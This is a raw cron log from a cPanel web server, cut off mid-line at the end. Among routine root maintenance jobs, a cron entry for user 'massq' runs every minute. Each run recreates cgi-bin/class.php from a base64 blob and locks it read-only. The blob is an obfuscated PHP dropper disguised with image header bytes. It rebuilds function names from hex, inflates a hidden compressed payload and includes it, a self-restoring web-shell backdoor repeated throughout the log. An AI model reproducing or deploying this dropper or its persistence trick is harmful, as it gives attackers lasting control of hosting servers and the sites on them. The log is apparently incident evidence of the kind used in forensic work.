Apr 10 13:35:01 server CROND[24555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 13:35:01 server CROND[24558]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 13:35:01 server CROND[24557]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 13:35:01 server CROND[24559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:35:01 server CROND[24560]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 13:36:01 server CROND[24673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:37:01 server CROND[24820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:38:01 server CROND[24896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:39:01 server CROND[24951]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 13:39:01 server CROND[24952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:40:01 server CROND[25007]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 13:40:01 server CROND[25008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 13:40:01 server CROND[25009]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 13:40:01 server CROND[25010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:41:01 server CROND[25115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:42:01 server CROND[25271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:42:01 server CROND[25272]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 13:43:01 server CROND[25353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:44:01 server CROND[25410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:45:01 server CROND[25466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 13:45:01 server CROND[25467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 13:45:01 server CROND[25468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:46:01 server CROND[25573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:47:01 server CROND[25727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:48:01 server CROND[25788]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JH